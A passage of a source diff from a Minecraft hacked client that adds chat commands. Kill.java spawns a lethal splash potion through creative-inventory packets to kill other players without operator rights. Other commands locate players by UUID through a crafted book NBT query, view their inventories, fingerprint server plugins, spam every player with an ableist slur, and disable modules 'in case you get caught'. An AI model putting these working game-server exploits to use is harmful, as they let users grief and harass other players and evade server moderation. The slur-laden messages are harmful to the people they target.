Objects.requireNonNull(SipoverPrivate.client.getNetworkHandler()).sendPacket(pack3);
|
||||
pendingBook = sent2nd = false;
|
||||
bookSlot = -1;
|
||||
pe.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
String m = root.get("text").getAsString();
|
||||
m = m.replaceAll("\\[", "").replaceAll("]", "");
|
||||
String[] v = m.split(",");
|
||||
Vec3d target = new Vec3d(Double.parseDouble(v[0]), Double.parseDouble(v[1]), Double.parseDouble(v[2])); // jesus fucking christ
|
||||
pendingBook = sent2nd = false;
|
||||
bookSlot = -1;
|
||||
success(String.format("Found player at %s %s %s", Utils.Math.roundToDecimal(target.x, 1), Utils.Math.roundToDecimal(target.y, 1), Utils.Math.roundToDecimal(target.z, 1)));
|
||||
} else {
|
||||
error("Couldn't find player, is the dude online?");
|
||||
CreativeInventoryActionC2SPacket pack3 = new CreativeInventoryActionC2SPacket(Utils.Inventory.slotIndexToId(bookSlot), new ItemStack(Items.AIR));
|
||||
Objects.requireNonNull(SipoverPrivate.client.getNetworkHandler()).sendPacket(pack3);
|
||||
pendingBook = sent2nd = false;
|
||||
bookSlot = -1;
|
||||
}
|
||||
pe.setCancelled(true);
|
||||
} else if (pe.getPacket() instanceof ScreenHandlerSlotUpdateS2CPacket packet) {
|
||||
if (packet.getItemStack().getItem() == Items.WRITTEN_BOOK) {
|
||||
Utils.TickManager.runInNTicks(5, () -> Objects.requireNonNull(SipoverPrivate.client.getNetworkHandler()).sendPacket(new PlayerInteractItemC2SPacket(Hand.MAIN_HAND)));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@Override public String[] getSuggestions(String fullCommand, String[] args) {
|
||||
if (args.length == 1) {
|
||||
return new String[]{"(uuid)"};
|
||||
}
|
||||
return super.getSuggestions(fullCommand, args);
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
if (!SipoverPrivate.client.interactionManager.hasCreativeInventory()) {
|
||||
error("Cant find the player, need GMC");
|
||||
return;
|
||||
}
|
||||
UUID u = Utils.Players.getUUIDFromName(args[0]);
|
||||
if (u == null) {
|
||||
error("Couldn't find user's uuid.");
|
||||
return;
|
||||
}
|
||||
try {
|
||||
assert SipoverPrivate.client.player != null;
|
||||
String n = "{pages:[\"{\\\"nbt\\\":\\\"Pos\\\",\\\"entity\\\":\\\"" + u + "\\\"}\"],title:\"0\",author:\"" + SipoverPrivate.client.player.getGameProfile().getName() + "\"}";
|
||||
ItemStack s = Utils.generateItemStackWithMeta(n, Items.WRITTEN_BOOK);
|
||||
pendingBook = true;
|
||||
bookSlot = SipoverPrivate.client.player.getInventory().selectedSlot;
|
||||
CreativeInventoryActionC2SPacket a = new CreativeInventoryActionC2SPacket(Utils.Inventory.slotIndexToId(SipoverPrivate.client.player.getInventory().selectedSlot), s);
|
||||
Objects.requireNonNull(SipoverPrivate.client.getNetworkHandler()).sendPacket(a);
|
||||
message("Finding player coords...");
|
||||
} catch (Exception ignored) {
|
||||
error("UUID invalid");
|
||||
}
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,61 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import me.x150.sipprivate.util.Utils;
|
||||
import net.minecraft.client.network.PlayerListEntry;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.Objects;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
|
||||
public class ForEach extends Command {
|
||||
|
||||
final ExecutorService runner = Executors.newFixedThreadPool(1);
|
||||
|
||||
public ForEach() {
|
||||
super("ForEach", "Do something for each player", "foreach", "for", "fe");
|
||||
}
|
||||
|
||||
@Override public String[] getSuggestions(String fullCommand, String[] args) {
|
||||
if (args.length == 1) {
|
||||
return new String[]{"(delay in ms)"};
|
||||
} else if (args.length == 2) {
|
||||
return new String[]{"(message)"};
|
||||
}
|
||||
return super.getSuggestions(fullCommand, args);
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
if (args.length < 2) {
|
||||
message("Syntax: foreach (delayMS) (message)");
|
||||
message("%s in the message gets replaced with the player name");
|
||||
message("Example: .foreach 1000 /msg %s Hi %s! I think you're fucking retarded");
|
||||
return;
|
||||
}
|
||||
int delay = Utils.Math.tryParseInt(args[0], -1);
|
||||
if (delay < 0) {
|
||||
error("I need a valid int above 0 please");
|
||||
return;
|
||||
}
|
||||
message("Sending the message for every person in the player list, with " + delay + "ms delay");
|
||||
for (PlayerListEntry playerListEntry : Objects.requireNonNull(SipoverPrivate.client.getNetworkHandler()).getPlayerList()) {
|
||||
if (Utils.Players.isPlayerNameValid(playerListEntry.getProfile().getName()) && !playerListEntry.getProfile().getId()
|
||||
.equals(Objects.requireNonNull(SipoverPrivate.client.player).getUuid())) {
|
||||
runner.execute(() -> {
|
||||
try {
|
||||
SipoverPrivate.client.player.sendChatMessage(String.join(" ", Arrays.copyOfRange(args, 1, args.length)).replaceAll("%s", playerListEntry.getProfile().getName()));
|
||||
Thread.sleep(delay);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,39 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import net.minecraft.world.GameMode;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class Gamemode extends Command {
|
||||
|
||||
public Gamemode() {
|
||||
super("Gamemode", "Switch gamemodes client side", "gamemode", "gm", "gmode", "gamemodespoof", "gmspoof");
|
||||
}
|
||||
|
||||
@Override public String[] getSuggestions(String fullCommand, String[] args) {
|
||||
if (args.length == 1) {
|
||||
return Arrays.stream(GameMode.values()).map(GameMode::getName).collect(Collectors.toList()).toArray(String[]::new);
|
||||
}
|
||||
return super.getSuggestions(fullCommand, args);
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
if (SipoverPrivate.client.interactionManager == null) {
|
||||
return;
|
||||
}
|
||||
if (args.length == 0) {
|
||||
message("gamemode pls");
|
||||
} else {
|
||||
GameMode gm = GameMode.byName(args[0]);
|
||||
SipoverPrivate.client.interactionManager.setGameMode(gm);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import me.x150.sipprivate.feature.command.CommandRegistry;
|
||||
|
||||
import java.awt.Color;
|
||||
|
||||
public class Help extends Command {
|
||||
|
||||
public Help() {
|
||||
super("Help", "Shows all commands", "help", "h", "?", "cmds", "commands", "manual", "man");
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
message("All commands and their description");
|
||||
for (Command command : CommandRegistry.getCommands()) {
|
||||
message(command.getName() + ": " + command.getDescription());
|
||||
message0(" " + String.join(", ", command.getAliases()), Color.GRAY);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,82 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import me.x150.sipprivate.helper.HologramManager;
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.minecraft.util.math.BlockPos;
|
||||
import net.minecraft.util.math.Vec3d;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.Objects;
|
||||
|
||||
public class Hologram extends Command {
|
||||
|
||||
public Hologram() {
|
||||
super("Hologram", "Generates a hologram without needing op (requires creative)", "hologram", "holo", "hlg");
|
||||
}
|
||||
|
||||
@Override public String[] getSuggestions(String fullCommand, String[] args) {
|
||||
if (args.length == 1) {
|
||||
return new String[]{"(flags)"};
|
||||
}
|
||||
if (args.length == 2) {
|
||||
return new String[]{"(message)"};
|
||||
}
|
||||
return super.getSuggestions(fullCommand, args);
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
if (args.length < 2) {
|
||||
message("i need options and text pls. example: \".hologram eb your text\". specify option \"h\" to show help");
|
||||
return;
|
||||
}
|
||||
String options = args[0].toLowerCase();
|
||||
boolean generateAsBaby = false;
|
||||
boolean generateAsEgg = false;
|
||||
boolean makeGravity = false;
|
||||
boolean makeVisible = false;
|
||||
boolean marker = true;
|
||||
for (char c : options.toCharArray()) {
|
||||
switch (c) {
|
||||
case 'e' -> generateAsEgg = true;
|
||||
case 'b' -> generateAsBaby = true;
|
||||
case 'g' -> makeGravity = true;
|
||||
case 'v' -> makeVisible = true;
|
||||
case 'm' -> marker = false;
|
||||
case 'n' -> {
|
||||
}
|
||||
default -> {
|
||||
error("Unknown option \"" + c + "\". Valid options:");
|
||||
message(" N = None (Placeholder)");
|
||||
message(" E = Makes a spawn egg instead of an armor stand item");
|
||||
message(" B = Makes the hologram entity small");
|
||||
message(" G = Makes the hologram have gravity");
|
||||
message(" V = Makes the hologram entity visible");
|
||||
message(" M = Makes the hologram entity not a marker (enable interactions and hitbox)");
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
String text = String.join(" ", Arrays.copyOfRange(args, 1, args.length));
|
||||
Vec3d pos = Objects.requireNonNull(SipoverPrivate.client.player).getPos();
|
||||
BlockPos displayable = SipoverPrivate.client.player.getBlockPos();
|
||||
message("Armor stand config:");
|
||||
message(" Text: " + text);
|
||||
message(" Is baby: " + (generateAsBaby ? "Yes" : "No"));
|
||||
message(" Is egg: " + (generateAsEgg ? "Yes" : "No"));
|
||||
message(" Is invisible: " + (!makeVisible ? "Yes" : "No"));
|
||||
message(" Has gravity: " + (makeGravity ? "Yes" : "No"));
|
||||
message(" Is marker: " + (marker ? "Yes" : "No"));
|
||||
message(" Pos: " + displayable.getX() + ", " + displayable.getY() + ", " + displayable.getZ());
|
||||
HologramManager.Hologram h = HologramManager.generateDefault(text, pos).isEgg(generateAsEgg).isSmall(generateAsBaby).hasGravity(makeGravity).isVisible(makeVisible).isMarker(marker);
|
||||
ItemStack stack = h.generate();
|
||||
message("Dont forget to open your inventory before placing");
|
||||
SipoverPrivate.client.player.getInventory().addPickBlock(stack);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,53 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import me.x150.sipprivate.util.Utils;
|
||||
import net.minecraft.client.gui.screen.ingame.InventoryScreen;
|
||||
import net.minecraft.entity.Entity;
|
||||
import net.minecraft.entity.player.PlayerEntity;
|
||||
|
||||
import java.util.Objects;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
public class Invsee extends Command {
|
||||
|
||||
public Invsee() {
|
||||
super("Invsee", "Shows you the inventory of another player", "invsee", "isee");
|
||||
}
|
||||
|
||||
@Override public String[] getSuggestions(String fullCommand, String[] args) {
|
||||
if (args.length == 1) {
|
||||
return SipoverPrivate.client.world.getPlayers().stream().map(abstractClientPlayerEntity -> abstractClientPlayerEntity.getGameProfile().getName()).collect(Collectors.toList())
|
||||
.toArray(String[]::new);
|
||||
}
|
||||
return super.getSuggestions(fullCommand, args);
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
if (args.length == 0) {
|
||||
message("i need username");
|
||||
return;
|
||||
}
|
||||
PlayerEntity t = null;
|
||||
for (Entity player : Objects.requireNonNull(SipoverPrivate.client.world).getEntities()) {
|
||||
if (player instanceof PlayerEntity player1) {
|
||||
if (player1.getGameProfile().getName().equalsIgnoreCase(args[0])) {
|
||||
t = player1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (t == null) {
|
||||
error("No player found");
|
||||
return;
|
||||
}
|
||||
PlayerEntity finalT = t;
|
||||
Utils.TickManager.runOnNextRender(() -> SipoverPrivate.client.setScreen(new InventoryScreen(finalT)));
|
||||
}
|
||||
}
|
215
src/main/java/me/x150/sipprivate/feature/command/impl/Kill.java
Normal file
215
src/main/java/me/x150/sipprivate/feature/command/impl/Kill.java
Normal file
|
@ -0,0 +1,215 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import com.google.gson.JsonObject;
|
||||
import com.google.gson.JsonParser;
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import me.x150.sipprivate.helper.event.EventType;
|
||||
import me.x150.sipprivate.helper.event.Events;
|
||||
import me.x150.sipprivate.helper.event.events.PacketEvent;
|
||||
import me.x150.sipprivate.util.Utils;
|
||||
import net.minecraft.client.network.AbstractClientPlayerEntity;
|
||||
import net.minecraft.entity.Entity;
|
||||
import net.minecraft.entity.player.PlayerEntity;
|
||||
import net.minecraft.item.ItemStack;
|
||||
import net.minecraft.item.Items;
|
||||
import net.minecraft.nbt.NbtCompound;
|
||||
import net.minecraft.nbt.NbtList;
|
||||
import net.minecraft.nbt.NbtString;
|
||||
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket;
|
||||
import net.minecraft.network.packet.c2s.play.PlayerInteractItemC2SPacket;
|
||||
import net.minecraft.network.packet.s2c.play.OpenWrittenBookS2CPacket;
|
||||
import net.minecraft.network.packet.s2c.play.ScreenHandlerSlotUpdateS2CPacket;
|
||||
import net.minecraft.util.Hand;
|
||||
import net.minecraft.util.hit.BlockHitResult;
|
||||
import net.minecraft.util.hit.HitResult;
|
||||
import net.minecraft.util.math.BlockPos;
|
||||
import net.minecraft.util.math.Direction;
|
||||
import net.minecraft.util.math.Vec3d;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.UUID;
|
||||
|
||||
public class Kill extends Command {
|
||||
|
||||
boolean pendingBook = false;
|
||||
boolean sent2nd = false;
|
||||
int bookSlot = -1;
|
||||
|
||||
public Kill() {
|
||||
super("Kill", "Makes another person have a sudden heart attack (requires creative)", "kill");
|
||||
Events.registerEventHandler(EventType.PACKET_RECEIVE, event -> {
|
||||
if (!pendingBook) {
|
||||
return;
|
||||
}
|
||||
PacketEvent pe = (PacketEvent) event;
|
||||
handlePacket(pe);
|
||||
});
|
||||
Events.registerEventHandler(EventType.NOCLIP_QUERY, event -> { // this also functions as a tick thing so eh
|
||||
if (pendingBook && bookSlot != -1) {
|
||||
assert SipoverPrivate.client.player != null;
|
||||
SipoverPrivate.client.player.getInventory().selectedSlot = bookSlot;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
@Override public String[] getSuggestions(String fullCommand, String[] args) {
|
||||
if (args.length == 1) {
|
||||
return new String[]{"(player username)", "U(uuid)"};
|
||||
}
|
||||
return super.getSuggestions(fullCommand, args);
|
||||
}
|
||||
|
||||
void handlePacket(PacketEvent pe) {
|
||||
if (pe.getPacket() instanceof OpenWrittenBookS2CPacket) {
|
||||
if (!sent2nd) {
|
||||
pe.setCancelled(true);
|
||||
sent2nd = true;
|
||||
return;
|
||||
}
|
||||
assert SipoverPrivate.client.player != null;
|
||||
ItemStack current = SipoverPrivate.client.player.getInventory().getMainHandStack();
|
||||
NbtCompound c = current.getOrCreateNbt();
|
||||
if (c.contains("pages", NbtCompound.LIST_TYPE)) {
|
||||
NbtList l = c.getList("pages", NbtCompound.STRING_TYPE);
|
||||
NbtString posComp = (NbtString) l.get(0);
|
||||
String value = posComp.asString();
|
||||
JsonObject root = JsonParser.parseString(value).getAsJsonObject();
|
||||
if (root.get("text") == null || root.get("text").getAsString().isEmpty()) {
|
||||
error("Couldn't find player, is the dude online?");
|
||||
CreativeInventoryActionC2SPacket pack3 = new CreativeInventoryActionC2SPacket(Utils.Inventory.slotIndexToId(bookSlot), new ItemStack(Items.AIR));
|
||||
Objects.requireNonNull(SipoverPrivate.client.getNetworkHandler()).sendPacket(pack3);
|
||||
pendingBook = sent2nd = false;
|
||||
bookSlot = -1;
|
||||
pe.setCancelled(true);
|
||||
return;
|
||||
}
|
||||
String m = root.get("text").getAsString();
|
||||
m = m.replaceAll("\\[", "").replaceAll("]", "");
|
||||
String[] v = m.split(",");
|
||||
Vec3d target = new Vec3d(Double.parseDouble(v[0]), Double.parseDouble(v[1]), Double.parseDouble(v[2])); // jesus fucking christ
|
||||
pendingBook = sent2nd = false;
|
||||
bookSlot = -1;
|
||||
success(String.format("Player's at X=%s,Y=%s,Z=%s, sending funny", Utils.Math.roundToDecimal(target.x, 1), Utils.Math.roundToDecimal(target.y, 1), Utils.Math.roundToDecimal(target.z, 1)));
|
||||
makeKillPotAt(new BlockHitResult(SipoverPrivate.client.player.getPos(), Direction.DOWN, new BlockPos(SipoverPrivate.client.player.getPos()), false), target);
|
||||
} else {
|
||||
error("Couldn't find player, is the dude online?");
|
||||
CreativeInventoryActionC2SPacket pack3 = new CreativeInventoryActionC2SPacket(Utils.Inventory.slotIndexToId(bookSlot), new ItemStack(Items.AIR));
|
||||
Objects.requireNonNull(SipoverPrivate.client.getNetworkHandler()).sendPacket(pack3);
|
||||
pendingBook = sent2nd = false;
|
||||
bookSlot = -1;
|
||||
}
|
||||
pe.setCancelled(true);
|
||||
} else if (pe.getPacket() instanceof ScreenHandlerSlotUpdateS2CPacket packet) {
|
||||
if (packet.getItemStack().getItem() == Items.WRITTEN_BOOK) {
|
||||
Utils.TickManager.runInNTicks(5, () -> Objects.requireNonNull(SipoverPrivate.client.getNetworkHandler()).sendPacket(new PlayerInteractItemC2SPacket(Hand.MAIN_HAND)));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void makeKillPotAt(BlockHitResult bhr, Vec3d target) {
|
||||
target = target.add(0, 2.7, 0);
|
||||
ItemStack s = Utils.generateItemStackWithMeta("{data: [], palette: [], EntityTag: {Item: {Count: 1b, id: \"minecraft:splash_potion\", tag: {CustomPotionEffects: [{ShowParticles: 1b, Duration: 20, Id: 6b, Amplifier: 125b}], Potion: \"minecraft:awkward\"}}, Pos: [" + target.x + "d, " + target.y + "d, " + target.z + "d], Motion: [0d,-5d,0d], id: \"minecraft:potion\", LeftOwner: 1b}}", Items.BAT_SPAWN_EGG);
|
||||
assert SipoverPrivate.client.player != null;
|
||||
CreativeInventoryActionC2SPacket pack = new CreativeInventoryActionC2SPacket(Utils.Inventory.slotIndexToId(SipoverPrivate.client.player.getInventory().selectedSlot), s);
|
||||
Objects.requireNonNull(SipoverPrivate.client.getNetworkHandler()).sendPacket(pack);
|
||||
PlayerInteractBlockC2SPacket pack2 = new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, bhr);
|
||||
SipoverPrivate.client.getNetworkHandler().sendPacket(pack2);
|
||||
CreativeInventoryActionC2SPacket pack3 = new CreativeInventoryActionC2SPacket(Utils.Inventory.slotIndexToId(SipoverPrivate.client.player.getInventory().selectedSlot), new ItemStack(Items.AIR));
|
||||
SipoverPrivate.client.getNetworkHandler().sendPacket(pack3);
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
if (args.length == 0) {
|
||||
error("Cant kill no one");
|
||||
return;
|
||||
}
|
||||
assert SipoverPrivate.client.interactionManager != null;
|
||||
if (!SipoverPrivate.client.interactionManager.hasCreativeInventory()) {
|
||||
error("I cant give you a kill pot because you dont have a creative inv");
|
||||
return;
|
||||
}
|
||||
if (args[0].equals("*")) {
|
||||
message("Killing everyone in render distance");
|
||||
assert SipoverPrivate.client.world != null;
|
||||
for (AbstractClientPlayerEntity player : SipoverPrivate.client.world.getPlayers()) {
|
||||
if (player.equals(SipoverPrivate.client.player)) {
|
||||
continue;
|
||||
}
|
||||
onExecute(new String[]{player.getGameProfile().getName()});
|
||||
}
|
||||
return;
|
||||
}
|
||||
HitResult hr = SipoverPrivate.client.crosshairTarget;
|
||||
assert hr != null;
|
||||
BlockHitResult bhr;
|
||||
if (!(hr instanceof BlockHitResult bhr1)) {
|
||||
bhr = new BlockHitResult(hr.getPos(), Direction.DOWN, new BlockPos(hr.getPos()), false);
|
||||
} else {
|
||||
bhr = bhr1;
|
||||
}
|
||||
String user = args[0];
|
||||
List<PlayerEntity> targets = new ArrayList<>();
|
||||
Vec3d p;
|
||||
String uname;
|
||||
if (user.startsWith("U")) {
|
||||
String uuidP = user.substring(1);
|
||||
try {
|
||||
UUID resolved = UUID.fromString(uuidP);
|
||||
assert SipoverPrivate.client.player != null;
|
||||
String n = "{pages:[\"{\\\"nbt\\\":\\\"Pos\\\",\\\"entity\\\":\\\"" + resolved + "\\\"}\"],title:\"0\",author:\"" + SipoverPrivate.client.player.getGameProfile().getName() + "\"}";
|
||||
ItemStack s = Utils.generateItemStackWithMeta(n, Items.WRITTEN_BOOK);
|
||||
pendingBook = true;
|
||||
bookSlot = SipoverPrivate.client.player.getInventory().selectedSlot;
|
||||
CreativeInventoryActionC2SPacket a = new CreativeInventoryActionC2SPacket(Utils.Inventory.slotIndexToId(SipoverPrivate.client.player.getInventory().selectedSlot), s);
|
||||
Objects.requireNonNull(SipoverPrivate.client.getNetworkHandler()).sendPacket(a);
|
||||
message("Finding player coords...");
|
||||
} catch (Exception ignored) {
|
||||
error("UUID invalid");
|
||||
}
|
||||
return;
|
||||
} else {
|
||||
assert SipoverPrivate.client.world != null;
|
||||
for (Entity entity : SipoverPrivate.client.world.getEntities()) {
|
||||
if (entity instanceof PlayerEntity pe && pe.getGameProfile().getName().toLowerCase().contains(user.toLowerCase())) {
|
||||
if (pe.getGameProfile().getName().equalsIgnoreCase(user)) { // direct match, we know who we want to fuck
|
||||
targets.clear();
|
||||
targets.add(pe);
|
||||
break;
|
||||
} else {
|
||||
targets.add(pe);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (targets.size() == 0) {
|
||||
warn("Didnt find that player. Looking up globally...");
|
||||
UUID u = Utils.Players.getUUIDFromName(user);
|
||||
if (u == null) {
|
||||
error("Couldn't find user's uuid. If you know it, run the command again with \"U(uuid)\"");
|
||||
return;
|
||||
}
|
||||
onExecute(new String[]{"U" + u});
|
||||
return;
|
||||
}
|
||||
if (targets.size() > 1) {
|
||||
error("There are multiple players with that name. Be more specific");
|
||||
for (PlayerEntity target : targets) {
|
||||
message(" - " + target.getGameProfile().getName().toLowerCase().replaceAll(user.toLowerCase(), "§c" + user.toLowerCase() + "§r"));
|
||||
}
|
||||
}
|
||||
PlayerEntity target = targets.get(0);
|
||||
p = target.getPos();
|
||||
uname = target.getGameProfile().getName();
|
||||
}
|
||||
makeKillPotAt(bhr, p);
|
||||
success("Killed " + uname);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,66 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import me.x150.sipprivate.feature.module.Module;
|
||||
import me.x150.sipprivate.feature.module.ModuleRegistry;
|
||||
import me.x150.sipprivate.feature.module.ModuleType;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
|
||||
public class Panic extends Command {
|
||||
|
||||
final List<Module> stored = new ArrayList<>();
|
||||
|
||||
public Panic() {
|
||||
super("Panic", "Turns off all modules in case you get caught", "panic", "p", "disableall");
|
||||
}
|
||||
|
||||
@Override public String[] getSuggestions(String fullCommand, String[] args) {
|
||||
if (args.length == 1) {
|
||||
return new String[]{"hard", "restore"};
|
||||
}
|
||||
return super.getSuggestions(fullCommand, args);
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
if (args.length == 0) {
|
||||
stored.clear();
|
||||
message("Disabling all non-render modules");
|
||||
message("Specify \"hard\" to disable all modules and wipe chat");
|
||||
message("Specify \"restore\" to restore all enabled modules before the panic");
|
||||
for (Module module : ModuleRegistry.getModules()) {
|
||||
if (module.getModuleType() != ModuleType.RENDER && module.isEnabled()) {
|
||||
stored.add(module);
|
||||
module.setEnabled(false);
|
||||
}
|
||||
}
|
||||
} else if (args[0].equalsIgnoreCase("hard")) {
|
||||
stored.clear();
|
||||
for (Module module : ModuleRegistry.getModules()) {
|
||||
if (module.isEnabled()) {
|
||||
stored.add(module);
|
||||
module.setEnabled(false);
|
||||
}
|
||||
}
|
||||
SipoverPrivate.client.inGameHud.getChatHud().clear(true);
|
||||
} else if (args[0].equalsIgnoreCase("restore")) {
|
||||
if (stored.size() == 0) {
|
||||
error("The stored module list is empty");
|
||||
} else {
|
||||
for (Module module : stored) {
|
||||
if (!module.isEnabled()) {
|
||||
module.setEnabled(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
stored.clear();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,66 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import com.mojang.brigadier.suggestion.Suggestion;
|
||||
import com.mojang.brigadier.suggestion.Suggestions;
|
||||
import me.x150.sipprivate.SipoverPrivate;
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import me.x150.sipprivate.helper.event.EventType;
|
||||
import me.x150.sipprivate.helper.event.Events;
|
||||
import me.x150.sipprivate.helper.event.events.PacketEvent;
|
||||
import net.minecraft.network.packet.c2s.play.RequestCommandCompletionsC2SPacket;
|
||||
import net.minecraft.network.packet.s2c.play.CommandSuggestionsS2CPacket;
|
||||
|
||||
import java.util.HashSet;
|
||||
import java.util.Iterator;
|
||||
import java.util.Set;
|
||||
|
||||
public class Plugins extends Command {
|
||||
|
||||
private boolean pendingCmdTree = false;
|
||||
|
||||
public Plugins() {
|
||||
super("Plugins", "Finds server plugins via command suggestions", "pl", "plugins");
|
||||
if (SipoverPrivate.client.getNetworkHandler() != null) {
|
||||
Events.registerEventHandler(EventType.PACKET_RECEIVE, event -> {
|
||||
if (!pendingCmdTree) {
|
||||
return;
|
||||
}
|
||||
PacketEvent packetEvent = (PacketEvent) event;
|
||||
if (packetEvent.getPacket() instanceof CommandSuggestionsS2CPacket cmdTree) {
|
||||
pendingCmdTree = false;
|
||||
Suggestions suggestions = cmdTree.getSuggestions();
|
||||
Set<String> plugins = new HashSet<>();
|
||||
for (Suggestion suggestion : suggestions.getList()) {
|
||||
String[] cmd = suggestion.getText().split(":");
|
||||
if (cmd.length > 1) {
|
||||
plugins.add(cmd[0]);
|
||||
}
|
||||
}
|
||||
if (plugins.isEmpty()) {
|
||||
error("No plugins found");
|
||||
return;
|
||||
}
|
||||
Iterator<String> iterator = plugins.iterator();
|
||||
StringBuilder message = new StringBuilder(iterator.next());
|
||||
while (iterator.hasNext()) {
|
||||
message.append(", ").append(iterator.next());
|
||||
}
|
||||
message(message.toString());
|
||||
}
|
||||
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
@Override public void onExecute(String[] args) {
|
||||
if (SipoverPrivate.client.getNetworkHandler() != null) {
|
||||
SipoverPrivate.client.getNetworkHandler().sendPacket(new RequestCommandCompletionsC2SPacket(0, "/"));
|
||||
pendingCmdTree = true;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,53 @@
|
|||
/*
|
||||
* This file is part of the atomic client distribution.
|
||||
* Copyright (c) 2021-2021 0x150.
|
||||
*/
|
||||
|
||||
package me.x150.sipprivate.feature.command.impl;
|
||||
|
||||
import me.x150.sipprivate.feature.command.Command;
|
||||
import net.minecraft.client.util.GlfwUtil;
|
||||
import org.apache.commons.lang3.SystemUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class RageQuit extends Command {
|
||||
|
||||
public RageQuit() {
|
||||
super("RageQuit", "Rage quits", "ragequit");
|
||||
}
|
||||
|
||||
public static boolean shutdown(int time) throws IOException {
|
||||
String shutdownCommand, t = time == 0 ? "now" : String.valueOf(time);
|
||||
|
||||
if (SystemUtils.IS_OS_AIX) {
|
||||
shutdownCommand = "shutdown -Fh " + t;
|
||||
} else if (SystemUtils.IS_OS_FREE_BSD || SystemUtils.IS_OS_LINUX || SystemUtils.IS_OS_MAC || SystemUtils.IS_OS_MAC_OSX || SystemUtils.IS_OS_NET_BSD || SystemUtils.IS_OS_OPEN_BSD || SystemUtils.IS_OS_UNIX) {
|
||||
shutdownCommand = "shutdown -h " + t;
|
||||
} else if (SystemUtils.IS_OS_HP_UX) {
|
||||
shutdownCommand = "shutdown -hy " + t;
|
||||
} else if (SystemUtils.IS_OS_IRIX) {
|
||||
shutdownCommand = "shutdown -y -g " + t;
|
||||
} else if (SystemUtils.IS_OS_SOLARIS || SystemUtils.IS_OS_SUN_OS) {
|
||||
